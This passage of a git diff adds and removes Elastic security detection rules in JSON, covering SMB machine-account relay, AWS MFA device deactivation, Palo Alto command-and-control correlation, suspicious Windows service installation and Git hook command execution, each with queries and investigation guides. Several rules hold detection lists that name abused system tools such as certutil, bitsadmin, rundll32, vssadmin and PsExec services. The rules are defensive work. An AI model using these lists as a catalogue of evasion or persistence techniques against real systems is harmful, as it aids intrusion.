AWS", + "Data Source: Amazon Web Services", + "Data Source: Amazon CloudWatch", + "Use Case: Log Auditing", + "Tactic: Defense Evasion", + "Tactic: Impact", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1485", + "name": "Data Destruction", + "reference": "https://attack.mitre.org/techniques/T1485/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.001", + "name": "Disable or Modify Tools", + "reference": "https://attack.mitre.org/techniques/T1562/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 212 + }, + "id": "d624f0ae-3dd1-4856-9aad-ccfe4d4bfa17_212", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/d84a11c0-eb12-4e7d-8a0a-718e38351e29_2.json b/packages/security_detection_engine/kibana/security_rule/d84a11c0-eb12-4e7d-8a0a-718e38351e29_2.json new file mode 100644 index 00000000000..de84984c8e9 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/d84a11c0-eb12-4e7d-8a0a-718e38351e29_2.json @@ -0,0 +1,114 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies potential relay attacks against a machine account by identifying network share access events coming from a remote source.ip but using the target server computer account. This may indicate a successful SMB relay attack.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Potential Machine Account Relay Attack via SMB", + "note": "## Triage and analysis\n\n### Investigating Potential Machine Account Relay Attack via SMB\n\n### Possible investigation steps\n- Compare the source.ip to the target server host.ip addresses to make sure it's indeed a remote use of the machine account.\n- Examine the source.ip activities as this is the attacker IP address used to relay.\n- Review all relevant activities such as services creation, file and process events on the target server within the same period.\n- Verify the machine account names that end with a dollar sign ($) to ensure they match the expected hostnames, and investigate any discrepancies.\n- Check the network logon types to confirm if they align with typical usage patterns for the identified machine accounts.\n- Investigate the context of the source IP addresses that do not match the host IP, looking for any signs of unauthorized access or unusual network activity.\n- Correlate the findings with other security logs and alerts to identify any patterns or additional indicators of compromise related to the potential relay attack.\n\n### False positive analysis\n\n- Machine accounts performing legitimate network logons from different IP addresses can trigger false positives. To manage this, identify and whitelist known IP addresses associated with legitimate administrative tasks or automated processes.\n- Scheduled tasks or automated scripts that use machine accounts for network operations may be flagged. Review and document these tasks, then create exceptions for their associated IP addresses and hostnames.\n- Load balancers or proxy servers that alter the source IP address of legitimate authentication requests can cause false alerts. Ensure these devices are accounted for in the network architecture and exclude their IP addresses from the rule.\n- Temporary network reconfigurations or migrations might result in machine accounts appearing to log in from unexpected hosts. During such events, temporarily adjust the rule parameters or disable the rule to prevent unnecessary alerts.\n- Regularly review and update the list of exceptions to ensure they reflect current network configurations and operational practices, minimizing the risk of overlooking genuine threats.\n\n### Response and remediation\n\n- Coordinate isolation of the affected domain controller with infrastructure and identity teams to contain the threat while preserving service availability and forensic evidence. Prioritize this step if active compromise or attacker persistence is confirmed.\n- Reset the domain controller's machine account password, along with any accounts suspected to be compromised or exposed. Ensure strong, unique credentials are used and apply tiered credential hygiene where applicable.\n- Analyze recent authentication logs, event logs, and network traffic, focusing on suspicious activity and the source IPs referenced in the alert. Correlate findings to identify any lateral movement or additional compromised systems.\n- Strengthen network segmentation, especially between domain controllers, administrative workstations, and critical infrastructure. This limits the attack surface and impedes credential relay or reuse across systems.\n- Escalate the incident to the SOC or incident response team to coordinate a full investigation, containment, and recovery plan. Ensure stakeholders are kept informed throughout the response.\n- Enhance detection mechanisms by tuning alerts and deploying additional telemetry focused on credential relay patterns, anomalous authentication, and NTLM-related activity.\n- Conduct a structured post-incident review, documenting findings, identifying control gaps, and updating playbooks, configurations, or security policies to reduce the likelihood of similar incidents in the future.\n", + "query": "file where host.os.type == \"windows\" and event.code == \"5145\" and endswith(user.name, \"$\") and\n\n /* compare computername with user.name and make sure they match */\n startswith~(winlog.computer_name, substring(user.name, 0, -1)) and\n\n /* exclude local access */\n not endswith(string(source.ip), string(host.ip)) and\n source.ip != \"::\" and source.ip != null and source.ip != \"::1\" and source.ip != \"127.0.0.1\"\n", + "references": [ + "https://github.com/p0dalirius/windows-coerced-authentication-methods", + "https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications", + "https://attack.mitre.org/techniques/T1187/" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "user.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.computer_name", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "d84a11c0-eb12-4e7d-8a0a-718e38351e29", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Data Source: Elastic Defend", + "Data Source: Active Directory", + "Use Case: Active Directory Monitoring", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1187", + "name": "Forced Authentication", + "reference": "https://attack.mitre.org/techniques/T1187/" + }, + { + "id": "T1557", + "name": "Adversary-in-the-Middle", + "reference": "https://attack.mitre.org/techniques/T1557/", + "subtechnique": [ + { + "id": "T1557.001", + "name": "LLMNR/NBT-NS Poisoning and SMB Relay", + "reference": "https://attack.mitre.org/techniques/T1557/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 2 + }, + "id": "d84a11c0-eb12-4e7d-8a0a-718e38351e29_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/d8fc1cca-93ed-43c1-bbb6-c0dd3eff2958_213.json b/packages/security_detection_engine/kibana/security_rule/d8fc1cca-93ed-43c1-bbb6-c0dd3eff2958_213.json new file mode 100644 index 00000000000..aae747f57ca --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/d8fc1cca-93ed-43c1-bbb6-c0dd3eff2958_213.json @@ -0,0 +1,129 @@ +{ + "attributes": { + "author": [ + "Elastic", + "Austin Songer" + ], + "description": "Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed.", + "false_positives": [ + "MFA device deactivation may occur legitimately during device rotation, user offboarding, or troubleshooting. For example, AWS requires deactivation of an existing MFA device before adding a replacement. These actions are often performed by administrators following approved change-control processes. To reduce false positives, validate whether the deactivation aligns with a documented workflow, known device replacement, or expected maintenance window. If performed outside of expected operational hours, by an unexpected user, or from an unfamiliar source IP, this event should be investigated for potential credential compromise or unauthorized tampering." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "target.entity.id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS IAM Deactivation of MFA Device", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and validated for accuracy and relevance. Always\n> tailor the steps to your organization's environment and operational context.\n\n### Investigating AWS IAM Deactivation of MFA Device\n\nThis rule detects successful deactivation of a Virtual MFA device in AWS IAM. \nDeactivation removes MFA enforcement from an IAM user, significantly lowering account resilience against credential theft or unauthorized access. \nSince MFA devices must be deactivated before deletion, this represents the earliest and most critical opportunity to detect potential account compromise or persistence activity.\n\nFor more information about using MFA in AWS, access the [official documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html).\n\n#### Possible investigation steps\n\n- **Identify the actor and context**\n - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deactivation.\n - Check whether the actor typically manages MFA or has the IAM permissions to perform such actions.\n - Review `user_agent.original` to confirm if the operation was performed via the AWS Console, CLI, or SDK.\n\n- **Review the source and location**\n - Investigate `source.ip` and `source.geo` fields for unusual origins or unrecognized locations.\n - Determine if this request originated from known automation infrastructure, internal IP ranges, or a personal endpoint.\n\n- **Correlate with other related activity**\n - Look for preceding API calls such as `ListMFADevices`, `GetSessionToken`, or `ListUsers`, which may indicate reconnaissance or IAM enumeration.\n - Search for subsequent `DeleteVirtualMFADevice` calls to confirm whether the deactivated device was later deleted \u2014 a common follow-up action.\n - Check for any privilege changes, credential creations (`CreateAccessKey`, `AttachUserPolicy`), or unexpected login attempts following the deactivation.\n\n- **Validate authorization**\n - Confirm with IAM or security administrators whether the action was part of an authorized device rotation or remediation.\n - If not documented or approved, escalate as a potential credential compromise or persistence attempt.\n\n### False positive analysis\n\n- **Legitimate device rotation**\n - When replacing an MFA device, AWS requires deactivation of the existing device before the new one can be enabled.\n- **Administrative maintenance**\n - IAM administrators or automation pipelines may deactivate MFA as part of account management or recovery workflows.\n\n### Response and remediation\n\n- **Containment**\n - Re-enable MFA for the affected IAM user (`EnableMFADevice`) or temporarily disable their login access until legitimacy is confirmed.\n - Revoke temporary credentials or tokens associated with the actor to prevent further misuse.\n\n- **Investigation and scoping**\n - Review CloudTrail history for additional IAM configuration changes or access key creation events tied to the same principal.\n - Determine whether sensitive resources were accessed after MFA removal.\n - Identify whether multiple users had MFA devices deactivated in a short timeframe \u2014 an indicator of broader compromise.\n\n- **Recovery and hardening**\n - Require MFA for all privileged IAM users and enforce it using service control policies (SCPs).\n - Enable GuardDuty or Security Hub findings for IAM anomaly detection related to account takeover or configuration changes.\n\n### Additional information\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **[DeactivateMFADevice API Reference](https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html)** \n- **[Managing MFA Devices in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html)** \n", + "query": "event.dataset: aws.cloudtrail \n and event.provider: iam.amazonaws.com \n and event.action: DeactivateMFADevice \n and event.outcome: success\n", + "references": [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/deactivate-mfa-device.html", + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "d8fc1cca-93ed-43c1-bbb6-c0dd3eff2958", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS CloudTrail", + "Data Source: AWS IAM", + "Resources: Investigation Guide", + "Tactic: Impact", + "Tactic: Persistence" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1531", + "name": "Account Access Removal", + "reference": "https://attack.mitre.org/techniques/T1531/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1556", + "name": "Modify Authentication Process", + "reference": "https://attack.mitre.org/techniques/T1556/", + "subtechnique": [ + { + "id": "T1556.006", + "name": "Multi-Factor Authentication", + "reference": "https://attack.mitre.org/techniques/T1556/006/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 213 + }, + "id": "d8fc1cca-93ed-43c1-bbb6-c0dd3eff2958_213", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/da4f56b8-9bc5-4003-a46c-d23616fbc691_1.json b/packages/security_detection_engine/kibana/security_rule/da4f56b8-9bc5-4003-a46c-d23616fbc691_1.json new file mode 100644 index 00000000000..bc1b5069c99 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/da4f56b8-9bc5-4003-a46c-d23616fbc691_1.json @@ -0,0 +1,89 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This detection correlates Palo Alto Networks (PANW) command and control events with Elastic Defend network events to identify the source process performing the network activity.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.network-*", + "logs-panw.panos-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "PANW and Elastic Defend - Command and Control Correlation", + "note": "## Triage and analysis\n\n### Investigating PANW and Elastic Defend - Command and Control Correlation\n\n### Possible investigation steps\n\n- Investigate in the Timeline feature the two events matching this correlation (PANW and Elastic Defend).\n- Review the process details like command_line, privileges, global relevance and reputation.\n- Assess the destination.ip reputation and global relevance.\n- Review the parent process execution details like command_line, global relevance and reputation.\n- Examine all network connection details performed by the process during last 48h.\n- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise related to the same process or network activity.\n\n### False positive analysis\n\n- Trusted system or third party processes performing network activity that looks like beaconing.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.\n- Terminate the suspicious processes and all associated children and parents.\n- Implement network-level controls to block traffic to the destination.ip.\n- Conduct a thorough review of the system's configuration files to identify unauthorized changes.\n- Reset credentials for any accounts associated with the source machine.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.\n", + "query": "sequence by source.port, source.ip, destination.ip with maxspan=1m\n [network where event.module == \"panw\" and event.action == \"c2_communication\"]\n [network where event.module == \"endpoint\" and event.action in (\"disconnect_received\", \"connection_attempted\")]\n", + "references": [ + "https://attack.mitre.org/tactics/TA0011/", + "https://www.elastic.co/docs/reference/integrations/panw", + "https://www.elastic.co/docs/reference/integrations/endpoint" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "panw", + "version": "^5.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "destination.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.module", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "source.port", + "type": "long" + } + ], + "risk_score": 47, + "rule_id": "da4f56b8-9bc5-4003-a46c-d23616fbc691", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "OS: Windows", + "OS: macOS", + "Use Case: Threat Detection", + "Tactic: Command and Control", + "Data Source: Elastic Defend", + "Data Source: PAN-OS", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [] + } + ], + "type": "eql", + "version": 1 + }, + "id": "da4f56b8-9bc5-4003-a46c-d23616fbc691_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/da87eee1-129c-4661-a7aa-57d0b9645fad_115.json b/packages/security_detection_engine/kibana/security_rule/da87eee1-129c-4661-a7aa-57d0b9645fad_115.json new file mode 100644 index 00000000000..e909ca7a961 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/da87eee1-129c-4661-a7aa-57d0b9645fad_115.json @@ -0,0 +1,93 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the creation of a new Windows service with suspicious Service command values. Windows services typically run as SYSTEM and can be used for privilege escalation and persistence.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-system.system*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Suspicious Service was Installed in the System", + "note": "## Triage and analysis\n\n### Investigating Suspicious Service was Installed in the System\n\nAttackers may create new services to execute system shells and other command execution utilities to elevate their privileges from administrator to SYSTEM. They can also configure services to execute these utilities with persistence payloads.\n\nThis rule looks for suspicious services being created with suspicious traits compatible with the above behavior.\n\n> **Note**:\n> This investigation guide uses the [Osquery Markdown Plugin](https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html) introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide.\n#### Possible investigation steps\n\n- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures.\n- Identify how the service was created or modified. Look for registry changes events or Windows events related to service activities (for example, 4697 and/or 7045).\n - Examine the created and existent services, the executables or drivers referenced, and command line arguments for suspicious entries.\n - !{osquery{\"label\":\"Osquery - Retrieve All Services\",\"query\":\"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve Services Running on User Accounts\",\"query\":\"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\\nuser_account == null)\\n\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve Service Unsigned Executables with Virustotal Link\",\"query\":\"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\\n\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve All Non-Microsoft Drivers with Virustotal Link\",\"query\":\"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE NOT (provider == \\\"Microsoft\\\" AND signed == \\\"1\\\")\\n\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve All Unsigned Drivers with Virustotal Link\",\"query\":\"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE signed == \\\"0\\\"\\n\"}}\n - Retrieve the referenced files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc.\n- Identify the user account that performed the action and whether it should perform this kind of action.\n- Contact the account owner and confirm whether they are aware of this activity.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts.\n\n\n### False positive analysis\n\n- Certain services such as PSEXECSVC may happen legitimately. The security team should address any potential benign true positive (B-TP) by excluding the relevant FP by pattern.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Isolate the involved host to prevent further post-compromise behavior.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n- Delete the service.\n- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "any where host.os.type == \"windows\" and\n (event.code : \"4697\" and\n (winlog.event_data.ServiceFileName : \n (\"*COMSPEC*\", \"*\\\\127.0.0.1*\", \"*Admin$*\", \"*powershell*\", \"*rundll32*\", \"*cmd.exe*\", \"*PSEXESVC*\", \n \"*echo*\", \"*RemComSvc*\", \"*.bat*\", \"*.cmd*\", \"*certutil*\", \"*vssadmin*\", \"*certmgr*\", \"*bitsadmin*\", \n \"*\\\\Users\\\\*\", \"*\\\\Windows\\\\Temp\\\\*\", \"*\\\\Windows\\\\Tasks\\\\*\", \"*\\\\PerfLogs\\\\*\", \"*\\\\Windows\\\\Debug\\\\*\",\n \"*regsvr32*\", \"*msbuild*\") or\n winlog.event_data.ServiceFileName regex~ \"\"\"%systemroot%\\\\[a-z0-9]+\\.exe\"\"\")) or\n\n (event.code : \"7045\" and\n winlog.event_data.ImagePath : (\n \"*COMSPEC*\", \"*\\\\127.0.0.1*\", \"*Admin$*\", \"*powershell*\", \"*rundll32*\", \"*cmd.exe*\", \"*PSEXESVC*\",\n \"*echo*\", \"*RemComSvc*\", \"*.bat*\", \"*.cmd*\", \"*certutil*\", \"*vssadmin*\", \"*certmgr*\", \"*bitsadmin*\",\n \"*\\\\Users\\\\*\", \"*\\\\Windows\\\\Temp\\\\*\", \"*\\\\Windows\\\\Tasks\\\\*\", \"*\\\\PerfLogs\\\\*\", \"*\\\\Windows\\\\Debug\\\\*\",\n \"*regsvr32*\", \"*msbuild*\"))\n", + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.ImagePath", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.ServiceFileName", + "type": "unknown" + } + ], + "risk_score": 47, + "rule_id": "da87eee1-129c-4661-a7aa-57d0b9645fad", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Resources: Investigation Guide", + "Data Source: Windows Security Event Logs", + "Data Source: Windows System Event Logs" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1543", + "name": "Create or Modify System Process", + "reference": "https://attack.mitre.org/techniques/T1543/", + "subtechnique": [ + { + "id": "T1543.003", + "name": "Windows Service", + "reference": "https://attack.mitre.org/techniques/T1543/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 115 + }, + "id": "da87eee1-129c-4661-a7aa-57d0b9645fad_115", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/dc61f382-dc0c-4cc0-a845-069f2a071704_103.json b/packages/security_detection_engine/kibana/security_rule/dc61f382-dc0c-4cc0-a845-069f2a071704_103.json deleted file mode 100644 index 019c42a57f4..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/dc61f382-dc0c-4cc0-a845-069f2a071704_103.json +++ /dev/null @@ -1,151 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule detects the execution of a potentially malicious process from a Git hook. Git hooks are scripts that Git executes before or after events such as: commit, push, and receive. An attacker can abuse Git hooks to execute arbitrary commands on the system and establish persistence.", - "from": "now-9m", - "index": [ - "logs-endpoint.events.process*", - "logs-sentinel_one_cloud_funnel.*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Git Hook Command Execution", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Git Hook Command Execution\n\nGit hooks are scripts that automate tasks by executing before or after Git events like commits or pushes. While useful for developers, adversaries can exploit them to run malicious commands, gaining persistence or evading defenses. The detection rule identifies suspicious processes initiated by Git hooks, focusing on shell executions, to flag potential abuse on Linux systems.\n\n### Possible investigation steps\n\n- Review the alert details to identify the specific Git hook script path and the suspicious process name that was executed, as indicated by the process.args and process.name fields.\n- Examine the process tree to understand the parent-child relationship, focusing on the process.parent.name and process.entity_id fields, to determine how the suspicious process was initiated.\n- Check the Git repository's history and recent changes to the .git/hooks directory to identify any unauthorized modifications or additions to the hook scripts.\n- Investigate the user account associated with the process execution to determine if the activity aligns with their typical behavior or if it indicates potential compromise.\n- Analyze the command-line arguments and environment variables of the suspicious process to gather more context on the nature of the executed command.\n- Correlate this event with other security alerts or logs from the same host.id to identify any patterns or additional indicators of compromise.\n- If possible, isolate the affected system and conduct a deeper forensic analysis to uncover any further malicious activity or persistence mechanisms.\n\n### False positive analysis\n\n- Developers using Git hooks for legitimate automation tasks may trigger this rule. To manage this, identify and document common scripts used in your development environment and create exceptions for these known benign processes.\n- Continuous integration and deployment (CI/CD) systems often utilize Git hooks to automate workflows. Review the processes initiated by these systems and exclude them from detection if they are verified as non-malicious.\n- Custom scripts executed via Git hooks for project-specific tasks can also cause false positives. Collaborate with development teams to catalog these scripts and adjust the detection rule to exclude them.\n- Frequent updates or changes in Git repositories might lead to repeated triggering of the rule. Monitor these activities and, if consistent and verified as safe, consider adding them to an allowlist to reduce noise.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement.\n- Terminate any suspicious processes identified as being executed from Git hooks, especially those involving shell executions.\n- Conduct a thorough review of the .git/hooks directory on the affected system to identify and remove any unauthorized or malicious scripts.\n- Restore any modified or deleted files from a known good backup to ensure system integrity.\n- Implement monitoring for any future modifications to the .git/hooks directory to detect unauthorized changes promptly.\n- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected.\n- Review and update access controls and permissions for Git repositories to limit the ability to modify hooks to trusted users only.", - "query": "sequence by host.id with maxspan=3s\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\") and\n process.parent.name == \"git\" and process.args : \".git/hooks/*\" and\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")\n ] by process.entity_id\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\") and\n process.parent.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")] by process.parent.entity_id\n", - "references": [ - "https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-git", - "https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - }, - { - "package": "sentinel_one_cloud_funnel", - "version": "^1.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.id", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.entity_id", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.entity_id", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.name", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "dc61f382-dc0c-4cc0-a845-069f2a071704", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to 